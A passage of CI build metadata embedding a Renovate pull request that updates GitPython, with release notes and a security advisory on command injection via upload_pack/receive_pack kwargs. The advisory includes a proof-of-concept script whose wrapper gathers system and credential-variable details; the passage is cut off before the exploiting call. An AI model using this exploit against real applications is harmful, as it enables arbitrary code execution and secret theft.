          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
          [`v3.1.50`](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50)\n\n[Compare
          Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50)\n\n###
          [`v3.1.49`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.49):
          - Security\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49)\n\n####
          What's Changed\n\n- reject control chars in written values in configuration
          by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2137](https://redirect.github.com/gitpython-developers/GitPython/pull/2137)\n-
          Improve pure Python rev-parse coverage and behavior  by [@&#8203;Copilot](https://redirect.github.com/Copilot)
          in [#&#8203;2136](https://redirect.github.com/gitpython-developers/GitPython/pull/2136)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49>\n\n###
          [`v3.1.48`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.48):
          - Security\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48)\n\nAccidentally
          deleted the previous GH release, it did mention the advisory this fixes.\n\n#####
          What's Changed\n\n- prevent out-of-repo access when manipulating references.
          by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2134](https://redirect.github.com/gitpython-developers/GitPython/pull/2134)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48>\n\n###
          [`v3.1.47`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47):
          - with security fixes\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47)\n\n####
          Advisories\n\n- <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4>\n-
          <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485>\n\n####
          What's Changed\n\n- Prepare next release by [@&#8203;Byron](https://redirect.github.com/Byron)
          in [#&#8203;2095](https://redirect.github.com/gitpython-developers/GitPython/pull/2095)\n-
          Bump git/ext/gitdb from `335c0f6` to `4c63ee6` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2096](https://redirect.github.com/gitpython-developers/GitPython/pull/2096)\n-
          DOC: README Add urls and updated a relative url by [@&#8203;Timour-Ilyas](https://redirect.github.com/Timour-Ilyas)
          in [#&#8203;2098](https://redirect.github.com/gitpython-developers/GitPython/pull/2098)\n-
          Fix GitConfigParser ignoring multiple \\[include] path entries by [@&#8203;daniel7an](https://redirect.github.com/daniel7an)
          in [#&#8203;2100](https://redirect.github.com/gitpython-developers/GitPython/pull/2100)\n-
          Switch back from Alpine to Debian for WSL by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2108](https://redirect.github.com/gitpython-developers/GitPython/pull/2108)\n-
          Bump git/ext/gitdb from `4c63ee6` to `5c1b303` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2106](https://redirect.github.com/gitpython-developers/GitPython/pull/2106)\n-
          Run `gc.collect()` twice in `test_rename` on Python 3.12 by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2109](https://redirect.github.com/gitpython-developers/GitPython/pull/2109)\n-
          fix: guard AutoInterrupt terminate during interpreter shutdown by [@&#8203;lweyrich1](https://redirect.github.com/lweyrich1)
          in [#&#8203;2105](https://redirect.github.com/gitpython-developers/GitPython/pull/2105)\n-
          Improve CI infrastructure for pre-commit by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2110](https://redirect.github.com/gitpython-developers/GitPython/pull/2110)\n-
          Bump the pre-commit group with 5 updates by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2111](https://redirect.github.com/gitpython-developers/GitPython/pull/2111)\n-
          Upgrade Sphinx for 3.14 support; drop doc build support on 3.8; test 3.14
          by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;2112](https://redirect.github.com/gitpython-developers/GitPython/pull/2112)\n-
          Fix `Repo.active_branch` resolution for reftable-backed repositories by
          [@&#8203;Copilot](https://redirect.github.com/Copilot) in [#&#8203;2114](https://redirect.github.com/gitpython-developers/GitPython/pull/2114)\n-
          docs: warn about GitDB performance with large commits by [@&#8203;mvanhorn](https://redirect.github.com/mvanhorn)
          in [#&#8203;2115](https://redirect.github.com/gitpython-developers/GitPython/pull/2115)\n-
          cmd: fix kwarg formatting in docstring example by [@&#8203;UweSchwaeke](https://redirect.github.com/UweSchwaeke)
          in [#&#8203;2117](https://redirect.github.com/gitpython-developers/GitPython/pull/2117)\n-
          Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.5 to 0.15.8
          in the pre-commit group by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2122](https://redirect.github.com/gitpython-developers/GitPython/pull/2122)\n-
          Add trailer support for commit creation by [@&#8203;Krishnachaitanyakc](https://redirect.github.com/Krishnachaitanyakc)
          in [#&#8203;2116](https://redirect.github.com/gitpython-developers/GitPython/pull/2116)\n-
          Harden commit trailer subprocess handling and align trailer I/O paths by
          [@&#8203;Copilot](https://redirect.github.com/Copilot) in [#&#8203;2125](https://redirect.github.com/gitpython-developers/GitPython/pull/2125)\n-
          git.cmd.Git.execute(..): fix `with_stdout=False` by [@&#8203;ngie-eign](https://redirect.github.com/ngie-eign)
          in [#&#8203;2126](https://redirect.github.com/gitpython-developers/GitPython/pull/2126)\n-
          Make sure that multi-options are checked after splitting them with `shlex`
          by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2130](https://redirect.github.com/gitpython-developers/GitPython/pull/2130)\n-
          Block unsafe underscored git kwargs / Fix for GHSA-rpm5-65cw-6hj4 by [@&#8203;WesR](https://redirect.github.com/WesR)
          in [#&#8203;2131](https://redirect.github.com/gitpython-developers/GitPython/pull/2131)\n\n####
          New Contributors\n\n- [@&#8203;Timour-Ilyas](https://redirect.github.com/Timour-Ilyas)
          made their first contribution in [#&#8203;2098](https://redirect.github.com/gitpython-developers/GitPython/pull/2098)\n-
          [@&#8203;daniel7an](https://redirect.github.com/daniel7an) made their first
          contribution in [#&#8203;2100](https://redirect.github.com/gitpython-developers/GitPython/pull/2100)\n-
          [@&#8203;lweyrich1](https://redirect.github.com/lweyrich1) made their first
          contribution in [#&#8203;2105](https://redirect.github.com/gitpython-developers/GitPython/pull/2105)\n-
          [@&#8203;Copilot](https://redirect.github.com/Copilot) made their first
          contribution in [#&#8203;2114](https://redirect.github.com/gitpython-developers/GitPython/pull/2114)\n-
          [@&#8203;mvanhorn](https://redirect.github.com/mvanhorn) made their first
          contribution in [#&#8203;2115](https://redirect.github.com/gitpython-developers/GitPython/pull/2115)\n-
          [@&#8203;UweSchwaeke](https://redirect.github.com/UweSchwaeke) made their
          first contribution in [#&#8203;2117](https://redirect.github.com/gitpython-developers/GitPython/pull/2117)\n-
          [@&#8203;Krishnachaitanyakc](https://redirect.github.com/Krishnachaitanyakc)
          made their first contribution in [#&#8203;2116](https://redirect.github.com/gitpython-developers/GitPython/pull/2116)\n-
          [@&#8203;ngie-eign](https://redirect.github.com/ngie-eign) made their first
          contribution in [#&#8203;2126](https://redirect.github.com/gitpython-developers/GitPython/pull/2126)\n-
          [@&#8203;WesR](https://redirect.github.com/WesR) made their first contribution
          in [#&#8203;2131](https://redirect.github.com/gitpython-developers/GitPython/pull/2131)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47>\n\n###
          [`v3.1.46`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.46)\n\n[Compare
          Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.45...3.1.46)\n\n####
          What's Changed\n\n- Prepare a new release by [@&#8203;Byron](https://redirect.github.com/Byron)
          in [#&#8203;2063](https://redirect.github.com/gitpython-developers/GitPython/pull/2063)\n-
          Bump actions/checkout from 4 to 5 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2067](https://redirect.github.com/gitpython-developers/GitPython/pull/2067)\n-
          Bump git/ext/gitdb from `335c0f6` to `39d7dbf` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2068](https://redirect.github.com/gitpython-developers/GitPython/pull/2068)\n-
          Bump actions/setup-python from 5 to 6 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2070](https://redirect.github.com/gitpython-developers/GitPython/pull/2070)\n-
          Bump git/ext/gitdb from `39d7dbf` to `f8fdfec` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2071](https://redirect.github.com/gitpython-developers/GitPython/pull/2071)\n-
          Fix type hint for `SymbolicReference.reference` property by [@&#8203;emmanuel-ferdman](https://redirect.github.com/emmanuel-ferdman)
          in [#&#8203;2074](https://redirect.github.com/gitpython-developers/GitPython/pull/2074)\n-
          feat: Add support for hasconfig git rule. by [@&#8203;bvanelli](https://redirect.github.com/bvanelli)
          in [#&#8203;2075](https://redirect.github.com/gitpython-developers/GitPython/pull/2075)\n-
          Bump github/codeql-action from 3 to 4 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2076](https://redirect.github.com/gitpython-developers/GitPython/pull/2076)\n-
          Use actual return type in annotation for method submodule\\_update by [@&#8203;extrwi](https://redirect.github.com/extrwi)
          in [#&#8203;2078](https://redirect.github.com/gitpython-developers/GitPython/pull/2078)\n-
          Bump git/ext/gitdb from `f8fdfec` to `65321a2` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2082](https://redirect.github.com/gitpython-developers/GitPython/pull/2082)\n-
          Preliminary support for index format v3 by [@&#8203;blahgeek](https://redirect.github.com/blahgeek)
          in [#&#8203;2081](https://redirect.github.com/gitpython-developers/GitPython/pull/2081)\n-
          Bump actions/checkout from 5 to 6 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2084](https://redirect.github.com/gitpython-developers/GitPython/pull/2084)\n-
          Pin `mypy==1.18.2` by [@&#8203;George-Ogden](https://redirect.github.com/George-Ogden)
          in [#&#8203;2087](https://redirect.github.com/gitpython-developers/GitPython/pull/2087)\n-
          Respect `os.Pathlike` by [@&#8203;George-Ogden](https://redirect.github.com/George-Ogden)
          in [#&#8203;2086](https://redirect.github.com/gitpython-developers/GitPython/pull/2086)\n-
          Bump git/ext/gitdb from `65321a2` to `4c63ee6` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2093](https://redirect.github.com/gitpython-developers/GitPython/pull/2093)\n-
          Join `Pathlike` Object to Tree by [@&#8203;George-Ogden](https://redirect.github.com/George-Ogden)
          in [#&#8203;2094](https://redirect.github.com/gitpython-developers/GitPython/pull/2094)\n\n####
          New Contributors\n\n- [@&#8203;emmanuel-ferdman](https://redirect.github.com/emmanuel-ferdman)
          made their first contribution in [#&#8203;2074](https://redirect.github.com/gitpython-developers/GitPython/pull/2074)\n-
          [@&#8203;bvanelli](https://redirect.github.com/bvanelli) made their first
          contribution in [#&#8203;2075](https://redirect.github.com/gitpython-developers/GitPython/pull/2075)\n-
          [@&#8203;extrwi](https://redirect.github.com/extrwi) made their first contribution
          in [#&#8203;2078](https://redirect.github.com/gitpython-developers/GitPython/pull/2078)\n-
          [@&#8203;blahgeek](https://redirect.github.com/blahgeek) made their first
          contribution in [#&#8203;2081](https://redirect.github.com/gitpython-developers/GitPython/pull/2081)\n-
          [@&#8203;George-Ogden](https://redirect.github.com/George-Ogden) made their
          first contribution in [#&#8203;2087](https://redirect.github.com/gitpython-developers/GitPython/pull/2087)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.45...3.1.46>\n\n###
          [`v3.1.45`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.45)\n\n[Compare
          Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.44...3.1.45)\n\n####
          What's Changed\n\n- Fix various version-related CI breakages by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;1987](https://redirect.github.com/gitpython-developers/GitPython/pull/1987)\n-
          Do some CI cleanup to make reports clearer and future changes easier by
          [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;1989](https://redirect.github.com/gitpython-developers/GitPython/pull/1989)\n-
          Affirm that gitdb and smmap advisories can also be created by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;1991](https://redirect.github.com/gitpython-developers/GitPython/pull/1991)\n-
          Fix links to gitdb and smmap `SECURITY.md` files by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;1992](https://redirect.github.com/gitpython-developers/GitPython/pull/1992)\n-
          Test Python 3.13 regularly on Ubuntu and macOS on CI by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;1990](https://redirect.github.com/gitpython-developers/GitPython/pull/1990)\n-
          Repo.rev\\_parse: Handle <tag>^{commit} correctly by [@&#8203;flichtenheld](https://redirect.github.com/flichtenheld)
          in [#&#8203;1996](https://redirect.github.com/gitpython-developers/GitPython/pull/1996)\n-
          Fuzzing: Fix Broken Fuzz Test for Git Submodule Handling by [@&#8203;DaveLak](https://redirect.github.com/DaveLak)
          in [#&#8203;1997](https://redirect.github.com/gitpython-developers/GitPython/pull/1997)\n-
          Work around Cygwin CI failure [#&#8203;2004](https://redirect.github.com/gitpython-developers/GitPython/issues/2004),
          except for `test_installation` by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2007](https://redirect.github.com/gitpython-developers/GitPython/pull/2007)\n-
          Mark `test_installation` xfail on Cygwin CI by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2009](https://redirect.github.com/gitpython-developers/GitPython/pull/2009)\n-
          `IndexFile._to_relative_path` - fix case where absolute path gets stripped
          of trailing slash by [@&#8203;kamilkozik7](https://redirect.github.com/kamilkozik7)
          in [#&#8203;2012](https://redirect.github.com/gitpython-developers/GitPython/pull/2012)\n-
          Use WSL1 on CI by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2010](https://redirect.github.com/gitpython-developers/GitPython/pull/2010)\n-
          Test free-threaded Python (but only on Linux) by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2011](https://redirect.github.com/gitpython-developers/GitPython/pull/2011)\n-
          Use property decorator to support typing by [@&#8203;Andrej730](https://redirect.github.com/Andrej730)
          in [#&#8203;2015](https://redirect.github.com/gitpython-developers/GitPython/pull/2015)\n-
          Fix some incorrect sphinx markups in the docstrings by [@&#8203;koyuki7w](https://redirect.github.com/koyuki7w)
          in [#&#8203;2018](https://redirect.github.com/gitpython-developers/GitPython/pull/2018)\n-
          replace quansight-labs/setup-python with actions/setup-python by [@&#8203;ngoldbaum](https://redirect.github.com/ngoldbaum)
          in [#&#8203;2019](https://redirect.github.com/gitpython-developers/GitPython/pull/2019)\n-
          remove type assertions from util.py by [@&#8203;gcmarx](https://redirect.github.com/gcmarx)
          in [#&#8203;2028](https://redirect.github.com/gitpython-developers/GitPython/pull/2028)\n-
          correctly handle `uname-cmd` that doesn't point to an executable file by
          [@&#8203;gcmarx](https://redirect.github.com/gcmarx) in [#&#8203;2026](https://redirect.github.com/gitpython-developers/GitPython/pull/2026)\n-
          Use newer ruff style by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2031](https://redirect.github.com/gitpython-developers/GitPython/pull/2031)\n-
          Have CodeQL scan GitHub Actions workflows as well as Python code by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2032](https://redirect.github.com/gitpython-developers/GitPython/pull/2032)\n-
          Specify explicit `contents: read` workflow permissions by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2033](https://redirect.github.com/gitpython-developers/GitPython/pull/2033)\n-
          Fix GitConfigParser not removing quotes from values by [@&#8203;betaboon](https://redirect.github.com/betaboon)
          in [#&#8203;2035](https://redirect.github.com/gitpython-developers/GitPython/pull/2035)\n-
          Preserve quoted leading and trailing single-line config var whitespace by
          [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;2036](https://redirect.github.com/gitpython-developers/GitPython/pull/2036)\n-
          Refactor Git.{AutoInterrupt,CatFileContentStream} nesting by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2037](https://redirect.github.com/gitpython-developers/GitPython/pull/2037)\n-
          Fix Git.{AutoInterrupt,CatFileContentStream} static typing by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2039](https://redirect.github.com/gitpython-developers/GitPython/pull/2039)\n-
          Fix CI `mypy` command on free-threaded Python by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2040](https://redirect.github.com/gitpython-developers/GitPython/pull/2040)\n-
          Split Cygwin CI into non-`performance` and `performance` test jobs by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2042](https://redirect.github.com/gitpython-developers/GitPython/pull/2042)\n-
          Express conditional `setuptools` requirement statically by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2043](https://redirect.github.com/gitpython-developers/GitPython/pull/2043)\n-
          Fix ambiguous `_safer_popen_windows` comment by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2044](https://redirect.github.com/gitpython-developers/GitPython/pull/2044)\n-
          Clarify `USE_SHELL` warning helper signature by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2045](https://redirect.github.com/gitpython-developers/GitPython/pull/2045)\n-
          Test `ConfigParser` with whitespace outside the value by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2046](https://redirect.github.com/gitpython-developers/GitPython/pull/2046)\n-
          Remove explicit empty `\"\"` handling in ConfigParser by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2047](https://redirect.github.com/gitpython-developers/GitPython/pull/2047)\n-
          Various style improvements by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2049](https://redirect.github.com/gitpython-developers/GitPython/pull/2049)\n-
          Don't remove quotes if `\\` or `\"` are present inside by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2048](https://redirect.github.com/gitpython-developers/GitPython/pull/2048)\n-
          fix updating submodules with relative urls by [@&#8203;david0](https://redirect.github.com/david0)
          in [#&#8203;2051](https://redirect.github.com/gitpython-developers/GitPython/pull/2051)\n-
          Run `cat_file.py` fixture without site customizations by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2052](https://redirect.github.com/gitpython-developers/GitPython/pull/2052)\n-
          Fix Cygwin installation on CI for `pip` by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2053](https://redirect.github.com/gitpython-developers/GitPython/pull/2053)\n-
          Fail `test_installation` on warnings, and remove deprecated license classifier
          by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;2054](https://redirect.github.com/gitpython-developers/GitPython/pull/2054)\n-
          Add clearer error version for unsupported index error by [@&#8203;tombedor](https://redirect.github.com/tombedor)
          in [#&#8203;2055](https://redirect.github.com/gitpython-developers/GitPython/pull/2055)\n-
          Fix name collision by [@&#8203;NMertsch](https://redirect.github.com/NMertsch)
          in [#&#8203;2060](https://redirect.github.com/gitpython-developers/GitPython/pull/2060)\n-
          Allow relative path url in submodules for submodule\\_update by [@&#8203;t-webber](https://redirect.github.com/t-webber)
          in [#&#8203;2062](https://redirect.github.com/gitpython-developers/GitPython/pull/2062)\n\n####
          New Contributors\n\n- [@&#8203;flichtenheld](https://redirect.github.com/flichtenheld)
          made their first contribution in [#&#8203;1996](https://redirect.github.com/gitpython-developers/GitPython/pull/1996)\n-
          [@&#8203;kamilkozik7](https://redirect.github.com/kamilkozik7) made their
          first contribution in [#&#8203;2012](https://redirect.github.com/gitpython-developers/GitPython/pull/2012)\n-
          [@&#8203;koyuki7w](https://redirect.github.com/koyuki7w) made their first
          contribution in [#&#8203;2018](https://redirect.github.com/gitpython-developers/GitPython/pull/2018)\n-
          [@&#8203;ngoldbaum](https://redirect.github.com/ngoldbaum) made their first
          contribution in [#&#8203;2019](https://redirect.github.com/gitpython-developers/GitPython/pull/2019)\n-
          [@&#8203;gcmarx](https://redirect.github.com/gcmarx) made their first contribution
          in [#&#8203;2028](https://redirect.github.com/gitpython-developers/GitPython/pull/2028)\n-
          [@&#8203;betaboon](https://redirect.github.com/betaboon) made their first
          contribution in [#&#8203;2035](https://redirect.github.com/gitpython-developers/GitPython/pull/2035)\n-
          [@&#8203;david0](https://redirect.github.com/david0) made their first contribution
          in [#&#8203;2051](https://redirect.github.com/gitpython-developers/GitPython/pull/2051)\n-
          [@&#8203;tombedor](https://redirect.github.com/tombedor) made their first
          contribution in [#&#8203;2055](https://redirect.github.com/gitpython-developers/GitPython/pull/2055)\n-
          [@&#8203;NMertsch](https://redirect.github.com/NMertsch) made their first
          contribution in [#&#8203;2060](https://redirect.github.com/gitpython-developers/GitPython/pull/2060)\n-
          [@&#8203;t-webber](https://redirect.github.com/t-webber) made their first
          contribution in [#&#8203;2062](https://redirect.github.com/gitpython-developers/GitPython/pull/2062)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.44...3.1.45>\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          \"\"\n- Automerge\n  - At any time (no schedule defined)\n\n\U0001F6A6 **Automerge**:
          Disabled by config. Please merge this manually once you are satisfied.\n\n\u267B
          **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry
          checkbox.\n\n\U0001F515 **Ignore**: Close this PR and you won't be reminded
          about this update again.\n\n---\n\n - [ ] <!-- rebase-check -->If you want
          to rebase/retry this PR, check this box\n\n---\n\nThis PR was generated
          by [Mend Renovate](https://mend.io/renovate/). View the [repository job
          log](https://developer.mend.io/github/osism/pulpfiction).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xNTkuMiIsInVwZGF0ZWRJblZlciI6IjQzLjE1OS4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
        change_url: https://github.com/osism/pulpfiction/pull/10
        commit_id: 00bd2631863b4576cf59cca91d0fbbe0b261efb2
        patchset: 00bd2631863b4576cf59cca91d0fbbe0b261efb2
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/pulpfiction
          name: osism/pulpfiction
          short_name: pulpfiction
        src_dir: src/github.com/osism/pulpfiction
        topic: null
      buildset: 7e22b2854e7049a5ba5bda685fb836cc
      buildset_refs:
      - branch: main
        change: '10'
        change_message: "chore(deps): update dependency gitpython to v3.1.50 [security]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [GitPython](https://redirect.github.com/gitpython-developers/GitPython)
          | `==3.1.44` \u2192 `==3.1.50` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.50?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.44/3.1.50?slim=true)
          |\n\n---\n\n### GitPython has Command Injection via Git options bypass\n[CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215)
          / [GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython blocks dangerous
          Git options such as `--upload-pack` and `--receive-pack` by default, but
          the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that
          check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`,
          `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary
          command execution even when `allow_unsafe_options` is left at its default
          value of `False`.\n\n##### Details\nGitPython explicitly treats helper-command
          options as unsafe because they can be used to execute arbitrary commands:\n\n-
          `git/repo/base.py:145-153` marks clone options such as `--upload-pack`,
          `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push
          options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe
          vulnerable API paths check the raw kwarg names before they're its normalized
          into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())`
          in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())`
          in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())`
          in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())`
          in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()`
          in `git/cmd.py:948-961`. The validator correctly blocks option names such
          as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts
          Python kwargs into Git command-line flags in `Git.transform_kwarg()` at
          `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n-
          `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes
          `--receive-pack=...`\n\nBecause the unsafe-option check runs before this
          normalization, underscore-form kwargs bypass the safety check even though
          they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn
          practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with
          `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and
          reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin,
          out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis
          does not appear to affect every unsafe option. For example, `exec=` is already
          rejected because the raw kwarg name `exec` matches the blocked option name
          before normalization.\n\nExisting tests cover the hyphenated form, not the
          vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136`
          checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks
          `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\":
          ...}`\n\nThose tests correctly confirm the literal Git option names are
          blocked, but they do not exercise the normal Python kwarg spelling that
          bypasses the guard.\n\n##### PoC\n1. Create and activate a virtual environment
          in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip
          install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make
          a new python file and put the following in there, then run it:\n\n```python\nimport
          os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom
          git.exc import UnsafeOptionError\n\n##### Setup: create isolated repositories
          so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin
          = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim
          = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper
          = os.path.join(base, \"wrapper.sh\")\n\n##### Setup: this wrapper is just
          to demo things you can do, not required for the exploit to work\n\n#####
          you could also do something like an SSH reverse shell, really anything\nwith
          open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n
          \ echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n
          \ printf 'argv='; printf '<%s>' \"$@&#8203;\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)='
          | sed 's/=.*$/=<redacted>/' || true\n}} > '{proof}'\nexec git-upload-pack
          \"$@&#8203;\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\",
          \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\",
          \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith
          open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\",
          \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n
          \   [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\",
          \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\",
          \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL,
          stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin,
          victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo
          = Repo(victim)\nremote = repo.remote(\"origin\")\n\n##### the literal Git
          option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\":
          wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n
          \   print(\"control=blocked\")\n\n##### this is the actual vulnerability\n\n#####
